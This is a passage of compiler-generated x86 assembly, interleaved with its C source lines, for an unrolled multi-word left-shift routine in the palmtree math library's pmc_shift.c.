_p_word_count$ = 12 ; size = 4
_n$ = 16 ; size = 4
_o$ = 20 ; size = 4
_padding_zero$ = 24 ; size = 4
_LeftShift_Imp_DIV PROC ; COMDAT
; 444 : {
push ebp
mov ebp, esp
sub esp, 12 ; 0000000cH
; 445 : __UNIT_TYPE_DIV* pp = p;
; 446 : __UNIT_TYPE p_count = p_word_count;
; 447 : __UNIT_TYPE_DIV* op = o;
; 448 : __UNIT_TYPE n_word_count = n / __UNIT_TYPE_BIT_COUNT;
; 449 : __UNIT_TYPE n_lshift_bit_count = n % __UNIT_TYPE_BIT_COUNT;
; 450 : if (n_lshift_bit_count == 0)
mov ecx, DWORD PTR _p_word_count$[ebp]
push esi
push edi
mov edi, DWORD PTR _n$[ebp]
mov edx, edi
shr edx, 5
and edi, 31 ; 0000001fH
mov DWORD PTR _n_word_count$1$[ebp], edx
mov DWORD PTR _n$[ebp], edi
jne SHORT $LN4@LeftShift_
; 454 : if (padding_zero)
cmp DWORD PTR _padding_zero$[ebp], 0
mov eax, DWORD PTR _o$[ebp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 79 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
mov esi, DWORD PTR _p$[ebp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; 453 : _COPY_MEMORY_UNIT_DIV(op + n_word_count, pp, p_count);
lea edi, DWORD PTR [eax+edx*4]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 79 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
rep movsd
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; 454 : if (padding_zero)
je $LN19@LeftShift_
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 129 : __stosd((unsigned long*)d, 0, (unsigned long)count);
mov edi, eax
mov ecx, edx
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; 576 : }
xor eax, eax
rep stosd
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0
$LN4@LeftShift_:
; 455 : _ZERO_MEMORY_UNIT_DIV(op, n_word_count);
; 456 : }
; 457 : else
; 458 : {
; 459 : __UNIT_TYPE n_rshift_bit_count = __UNIT_TYPE_BIT_COUNT - n_lshift_bit_count;
; 460 : pp += p_count - 1;
mov eax, DWORD PTR _p$[ebp]
mov edx, 32 ; 00000020H
; 461 : op += p_count + n_word_count;
mov esi, DWORD PTR _o$[ebp]
sub edx, edi
push ebx
lea ebx, DWORD PTR [eax+ecx*4]
mov DWORD PTR _n_rshift_bit_count$1$[ebp], edx
mov eax, DWORD PTR _n_word_count$1$[ebp]
add eax, ecx
; 462 : p_count -= 1;
dec ecx
mov DWORD PTR _p_count$1$[ebp], ecx
; 463 : __UNIT_TYPE_DIV temp = *pp;
; 464 : __UNIT_TYPE_DIV work = temp >> n_rshift_bit_count;
mov ecx, edx
lea eax, DWORD PTR [esi+eax*4]
mov esi, DWORD PTR [ebx-4]
mov edx, esi
mov DWORD PTR _work$62$[ebp], esi
shr edx, cl
; 465 : if (work != 0)
test edx, edx
je SHORT $LN7@LeftShift_
; 466 : *op = work;
mov DWORD PTR [eax], edx
$LN7@LeftShift_:
; 467 : --pp;
; 468 : --op;
; 469 :
; 470 : __UNIT_TYPE count = p_count >> 5;
mov ecx, DWORD PTR _p_count$1$[ebp]
sub ebx, 8
mov edx, ecx
sub eax, 4
shr edx, 5
mov DWORD PTR _count$1$[ebp], edx
; 471 : while (count != 0)
test edx, edx
je $LN3@LeftShift_
npad 4
$LL2@LeftShift_:
; 472 : {
; 473 : work = temp << n_lshift_bit_count; temp = pp[-0]; work |= temp >> n_rshift_bit_count; op[-0] = work;
mov ecx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
mov DWORD PTR _work$62$[ebp], esi
mov esi, DWORD PTR [ebx]
mov edx, esi
shr edx, cl
; 474 : work = temp << n_lshift_bit_count; temp = pp[-1]; work |= temp >> n_rshift_bit_count; op[-1] = work;
mov ecx, edi
or edx, DWORD PTR _work$62$[ebp]
mov DWORD PTR [eax], edx
mov edi, DWORD PTR [ebx-4]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, esi
; 475 : work = temp << n_lshift_bit_count; temp = pp[-2]; work |= temp >> n_rshift_bit_count; op[-2] = work;
mov ecx, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-4], edx
mov esi, DWORD PTR [ebx-8]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 476 : work = temp << n_lshift_bit_count; temp = pp[-3]; work |= temp >> n_rshift_bit_count; op[-3] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-8], edx
mov edi, DWORD PTR [ebx-12]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 477 : work = temp << n_lshift_bit_count; temp = pp[-4]; work |= temp >> n_rshift_bit_count; op[-4] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-12], edx
mov esi, DWORD PTR [ebx-16]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 478 : work = temp << n_lshift_bit_count; temp = pp[-5]; work |= temp >> n_rshift_bit_count; op[-5] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-16], edx
mov edi, DWORD PTR [ebx-20]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 479 : work = temp << n_lshift_bit_count; temp = pp[-6]; work |= temp >> n_rshift_bit_count; op[-6] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-20], edx
mov esi, DWORD PTR [ebx-24]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 480 : work = temp << n_lshift_bit_count; temp = pp[-7]; work |= temp >> n_rshift_bit_count; op[-7] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-24], edx
mov edi, DWORD PTR [ebx-28]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 481 : work = temp << n_lshift_bit_count; temp = pp[-8]; work |= temp >> n_rshift_bit_count; op[-8] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-28], edx
mov esi, DWORD PTR [ebx-32]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 482 : work = temp << n_lshift_bit_count; temp = pp[-9]; work |= temp >> n_rshift_bit_count; op[-9] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-32], edx
mov edi, DWORD PTR [ebx-36]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, esi
mov DWORD PTR [eax-36], edx
; 483 : work = temp << n_lshift_bit_count; temp = pp[-10]; work |= temp >> n_rshift_bit_count; op[-10] = work;
mov esi, DWORD PTR [ebx-40]
mov edx, esi
mov ecx, DWORD PTR _n$[ebp]
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, edi
; 484 : work = temp << n_lshift_bit_count; temp = pp[-11]; work |= temp >> n_rshift_bit_count; op[-11] = work;
mov ecx, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-40], edx
mov edi, DWORD PTR [ebx-44]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, esi
; 485 : work = temp << n_lshift_bit_count; temp = pp[-12]; work |= temp >> n_rshift_bit_count; op[-12] = work;
mov ecx, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-44], edx
mov esi, DWORD PTR [ebx-48]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 486 : work = temp << n_lshift_bit_count; temp = pp[-13]; work |= temp >> n_rshift_bit_count; op[-13] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-48], edx
mov edi, DWORD PTR [ebx-52]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 487 : work = temp << n_lshift_bit_count; temp = pp[-14]; work |= temp >> n_rshift_bit_count; op[-14] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-52], edx
mov esi, DWORD PTR [ebx-56]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 488 : work = temp << n_lshift_bit_count; temp = pp[-15]; work |= temp >> n_rshift_bit_count; op[-15] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-56], edx
mov edi, DWORD PTR [ebx-60]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 489 : work = temp << n_lshift_bit_count; temp = pp[-16]; work |= temp >> n_rshift_bit_count; op[-16] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-60], edx
mov esi, DWORD PTR [ebx-64]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 490 : work = temp << n_lshift_bit_count; temp = pp[-17]; work |= temp >> n_rshift_bit_count; op[-17] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-64], edx
mov edi, DWORD PTR [ebx-68]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 491 : work = temp << n_lshift_bit_count; temp = pp[-18]; work |= temp >> n_rshift_bit_count; op[-18] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-68], edx
mov esi, DWORD PTR [ebx-72]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 492 : work = temp << n_lshift_bit_count; temp = pp[-19]; work |= temp >> n_rshift_bit_count; op[-19] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-72], edx
mov edi, DWORD PTR [ebx-76]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 493 : work = temp << n_lshift_bit_count; temp = pp[-20]; work |= temp >> n_rshift_bit_count; op[-20] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-76], edx
mov esi, DWORD PTR [ebx-80]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, edi
; 494 : work = temp << n_lshift_bit_count; temp = pp[-21]; work |= temp >> n_rshift_bit_count; op[-21] = work;
mov ecx, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-80], edx
mov edi, DWORD PTR [ebx-84]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, esi
; 495 : work = temp << n_lshift_bit_count; temp = pp[-22]; work |= temp >> n_rshift_bit_count; op[-22] = work;
mov ecx, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-84], edx
mov esi, DWORD PTR [ebx-88]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 496 : work = temp << n_lshift_bit_count; temp = pp[-23]; work |= temp >> n_rshift_bit_count; op[-23] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-88], edx
mov edi, DWORD PTR [ebx-92]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 497 : work = temp << n_lshift_bit_count; temp = pp[-24]; work |= temp >> n_rshift_bit_count; op[-24] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-92], edx
mov esi, DWORD PTR [ebx-96]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 498 : work = temp << n_lshift_bit_count; temp = pp[-25]; work |= temp >> n_rshift_bit_count; op[-25] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-96], edx
mov edi, DWORD PTR [ebx-100]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 499 : work = temp << n_lshift_bit_count; temp = pp[-26]; work |= temp >> n_rshift_bit_count; op[-26] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-100], edx
mov esi, DWORD PTR [ebx-104]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 500 : work = temp << n_lshift_bit_count; temp = pp[-27]; work |= temp >> n_rshift_bit_count; op[-27] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-104], edx
mov edi, DWORD PTR [ebx-108]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 501 : work = temp << n_lshift_bit_count; temp = pp[-28]; work |= temp >> n_rshift_bit_count; op[-28] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-108], edx
mov esi, DWORD PTR [ebx-112]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 502 : work = temp << n_lshift_bit_count; temp = pp[-29]; work |= temp >> n_rshift_bit_count; op[-29] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-112], edx
mov edi, DWORD PTR [ebx-116]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 503 : work = temp << n_lshift_bit_count; temp = pp[-30]; work |= temp >> n_rshift_bit_count; op[-30] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-116], edx
shl edi, cl
mov esi, DWORD PTR [ebx-120]
mov edx, esi
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, edi
; 504 : work = temp << n_lshift_bit_count; temp = pp[-31]; work |= temp >> n_rshift_bit_count; op[-31] = work;
mov edi, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-120], edx
mov ecx, edi
shl esi, cl
mov ecx, DWORD PTR [ebx-124]
mov edx, ecx
mov DWORD PTR _work$62$[ebp], ecx
; 505 : pp -= 32;
add ebx, -128 ; ffffff80H
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, esi
mov esi, DWORD PTR _work$62$[ebp]
mov DWORD PTR [eax-124], edx
; 506 : op -= 32;
add eax, -128 ; ffffff80H
; 507 : --count;
sub DWORD PTR _count$1$[ebp], 1
jne $LL2@LeftShift_
mov ecx, DWORD PTR _p_count$1$[ebp]
$LN3@LeftShift_:
; 508 : }
; 509 :
; 510 : if (p_count & 0x10)
test cl, 16 ; 00000010H
je $LN8@LeftShift_
; 511 : {
; 512 : work = temp << n_lshift_bit_count; temp = pp[-0]; work |= temp >> n_rshift_bit_count; op[-0] = work;
mov ecx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
mov DWORD PTR _work$62$[ebp], esi
mov esi, DWORD PTR [ebx]
mov edx, esi
shr edx, cl
; 513 : work = temp << n_lshift_bit_count; temp = pp[-1]; work |= temp >> n_rshift_bit_count; op[-1] = work;
mov ecx, edi
or edx, DWORD PTR _work$62$[ebp]
mov DWORD PTR [eax], edx
mov edi, DWORD PTR [ebx-4]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, esi
; 514 : work = temp << n_lshift_bit_count; temp = pp[-2]; work |= temp >> n_rshift_bit_count; op[-2] = work;
mov ecx, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-4], edx
mov esi, DWORD PTR [ebx-8]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 515 : work = temp << n_lshift_bit_count; temp = pp[-3]; work |= temp >> n_rshift_bit_count; op[-3] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-8], edx
mov edi, DWORD PTR [ebx-12]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 516 : work = temp << n_lshift_bit_count; temp = pp[-4]; work |= temp >> n_rshift_bit_count; op[-4] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-12], edx
mov esi, DWORD PTR [ebx-16]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 517 : work = temp << n_lshift_bit_count; temp = pp[-5]; work |= temp >> n_rshift_bit_count; op[-5] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-16], edx
mov edi, DWORD PTR [ebx-20]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 518 : work = temp << n_lshift_bit_count; temp = pp[-6]; work |= temp >> n_rshift_bit_count; op[-6] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-20], edx
mov esi, DWORD PTR [ebx-24]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 519 : work = temp << n_lshift_bit_count; temp = pp[-7]; work |= temp >> n_rshift_bit_count; op[-7] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-24], edx
mov edi, DWORD PTR [ebx-28]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 520 : work = temp << n_lshift_bit_count; temp = pp[-8]; work |= temp >> n_rshift_bit_count; op[-8] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-28], edx
mov esi, DWORD PTR [ebx-32]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 521 : work = temp << n_lshift_bit_count; temp = pp[-9]; work |= temp >> n_rshift_bit_count; op[-9] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-32], edx
mov edi, DWORD PTR [ebx-36]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, esi
mov DWORD PTR [eax-36], edx
; 522 : work = temp << n_lshift_bit_count; temp = pp[-10]; work |= temp >> n_rshift_bit_count; op[-10] = work;
mov esi, DWORD PTR [ebx-40]
mov edx, esi
mov ecx, DWORD PTR _n$[ebp]
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 523 : work = temp << n_lshift_bit_count; temp = pp[-11]; work |= temp >> n_rshift_bit_count; op[-11] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-40], edx
mov edi, DWORD PTR [ebx-44]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 524 : work = temp << n_lshift_bit_count; temp = pp[-12]; work |= temp >> n_rshift_bit_count; op[-12] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-44], edx
mov esi, DWORD PTR [ebx-48]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 525 : work = temp << n_lshift_bit_count; temp = pp[-13]; work |= temp >> n_rshift_bit_count; op[-13] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-48], edx
mov edi, DWORD PTR [ebx-52]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 526 : work = temp << n_lshift_bit_count; temp = pp[-14]; work |= temp >> n_rshift_bit_count; op[-14] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-52], edx
mov esi, DWORD PTR [ebx-56]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, edi
; 527 : work = temp << n_lshift_bit_count; temp = pp[-15]; work |= temp >> n_rshift_bit_count; op[-15] = work;
mov edi, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-56], edx
mov ecx, edi
shl esi, cl
mov ecx, DWORD PTR [ebx-60]
mov edx, ecx
mov DWORD PTR _work$62$[ebp], ecx
; 528 : pp -= 16;
sub ebx, 64 ; 00000040H
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
mov ecx, DWORD PTR _p_count$1$[ebp]
or edx, esi
mov DWORD PTR [eax-60], edx
; 529 : op -= 16;
sub eax, 64 ; 00000040H
$LN8@LeftShift_:
; 530 : }
; 531 :
; 532 : if (p_count & 0x8)
test cl, 8
je $LN9@LeftShift_
; 533 : {
; 534 : work = temp << n_lshift_bit_count; temp = pp[-0]; work |= temp >> n_rshift_bit_count; op[-0] = work;
mov esi, DWORD PTR [ebx]
mov ecx, edi
shl DWORD PTR _work$62$[ebp], cl
mov edx, esi
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 535 : work = temp << n_lshift_bit_count; temp = pp[-1]; work |= temp >> n_rshift_bit_count; op[-1] = work;
mov ecx, edi
or edx, DWORD PTR _work$62$[ebp]
mov DWORD PTR [eax], edx
mov edi, DWORD PTR [ebx-4]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 536 : work = temp << n_lshift_bit_count; temp = pp[-2]; work |= temp >> n_rshift_bit_count; op[-2] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-4], edx
mov esi, DWORD PTR [ebx-8]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 537 : work = temp << n_lshift_bit_count; temp = pp[-3]; work |= temp >> n_rshift_bit_count; op[-3] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-8], edx
mov edi, DWORD PTR [ebx-12]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 538 : work = temp << n_lshift_bit_count; temp = pp[-4]; work |= temp >> n_rshift_bit_count; op[-4] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-12], edx
mov esi, DWORD PTR [ebx-16]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 539 : work = temp << n_lshift_bit_count; temp = pp[-5]; work |= temp >> n_rshift_bit_count; op[-5] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-16], edx
mov edi, DWORD PTR [ebx-20]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 540 : work = temp << n_lshift_bit_count; temp = pp[-6]; work |= temp >> n_rshift_bit_count; op[-6] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-20], edx
mov esi, DWORD PTR [ebx-24]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, edi
; 541 : work = temp << n_lshift_bit_count; temp = pp[-7]; work |= temp >> n_rshift_bit_count; op[-7] = work;
mov edi, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-24], edx
mov ecx, edi
shl esi, cl
mov ecx, DWORD PTR [ebx-28]
mov edx, ecx
mov DWORD PTR _work$62$[ebp], ecx
; 542 : pp -= 8;
sub ebx, 32 ; 00000020H
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
mov ecx, DWORD PTR _p_count$1$[ebp]
or edx, esi
mov DWORD PTR [eax-28], edx
; 543 : op -= 8;
sub eax, 32 ; 00000020H
$LN9@LeftShift_:
; 544 : }
; 545 :
; 546 : if (p_count & 0x4)
test cl, 4
je SHORT $LN10@LeftShift_
; 547 : {
; 548 : work = temp << n_lshift_bit_count; temp = pp[-0]; work |= temp >> n_rshift_bit_count; op[-0] = work;
mov esi, DWORD PTR [ebx]
mov ecx, edi
shl DWORD PTR _work$62$[ebp], cl
mov edx, esi
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 549 : work = temp << n_lshift_bit_count; temp = pp[-1]; work |= temp >> n_rshift_bit_count; op[-1] = work;
mov ecx, edi
or edx, DWORD PTR _work$62$[ebp]
mov DWORD PTR [eax], edx
mov edi, DWORD PTR [ebx-4]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 550 : work = temp << n_lshift_bit_count; temp = pp[-2]; work |= temp >> n_rshift_bit_count; op[-2] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-4], edx
mov esi, DWORD PTR [ebx-8]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, edi
; 551 : work = temp << n_lshift_bit_count; temp = pp[-3]; work |= temp >> n_rshift_bit_count; op[-3] = work;
mov edi, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-8], edx
mov ecx, edi
shl esi, cl
mov ecx, DWORD PTR [ebx-12]
mov edx, ecx
mov DWORD PTR _work$62$[ebp], ecx
; 552 : pp -= 4;
sub ebx, 16 ; 00000010H
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
mov ecx, DWORD PTR _p_count$1$[ebp]
or edx, esi
mov DWORD PTR [eax-12], edx
; 553 : op -= 4;
sub eax, 16 ; 00000010H
$LN10@LeftShift_:
; 554 : }
; 555 :
; 556 : if (p_count & 0x2)
test cl, 2
je SHORT $LN11@LeftShift_
; 557 : {
; 558 : work = temp << n_lshift_bit_count; temp = pp[-0]; work |= temp >> n_rshift_bit_count; op[-0] = work;
mov esi, DWORD PTR [ebx]
mov ecx, edi
shl DWORD PTR _work$62$[ebp], cl
mov edx, esi
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 559 : work = temp << n_lshift_bit_count; temp = pp[-1]; work |= temp >> n_rshift_bit_count; op[-1] = work;
mov ecx, edi
or edx, DWORD PTR _work$62$[ebp]
mov DWORD PTR [eax], edx
shl esi, cl
mov ecx, DWORD PTR [ebx-4]
mov edx, ecx
mov DWORD PTR _work$62$[ebp], ecx
; 560 : pp -= 2;
sub ebx, 8
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
mov ecx, DWORD PTR _p_count$1$[ebp]
or edx, esi
mov DWORD PTR [eax-4], edx
; 561 : op -= 2;
sub eax, 8
$LN11@LeftShift_:
; 562 : }
; 563 :
; 564 : if (p_count & 0x1)
test cl, 1
je SHORT $LN12@LeftShift_
; 565 : {
; 566 : work = temp << n_lshift_bit_count; temp = pp[-0]; work |= temp >> n_rshift_bit_count; op[-0] = work;
mov esi, DWORD PTR _work$62$[ebp]
mov ecx, edi
mov edx, DWORD PTR [ebx]
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
mov DWORD PTR _work$62$[ebp], edx
shr edx, cl
or edx, esi
mov DWORD PTR [eax], edx
; 567 : pp -= 1;
; 568 : op -= 1;
sub eax, 4
$LN12@LeftShift_:
; 569 : }
; 570 : work = temp << n_lshift_bit_count;
mov edx, DWORD PTR _work$62$[ebp]
mov ecx, edi
shl edx, cl
; 571 : *op = work;
; 572 :
; 573 : if (padding_zero)
cmp DWORD PTR _padding_zero$[ebp], 0
mov DWORD PTR [eax], edx
pop ebx
je SHORT $LN19@LeftShift_
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 129 : __stosd((unsigned long*)d, 0, (unsigned long)count);
mov edi, DWORD PTR _o$[ebp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; 576 : }
xor eax, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 129 : __stosd((unsigned long*)d, 0, (unsigned long)count);
mov ecx, DWORD PTR _n_word_count$1$[ebp]
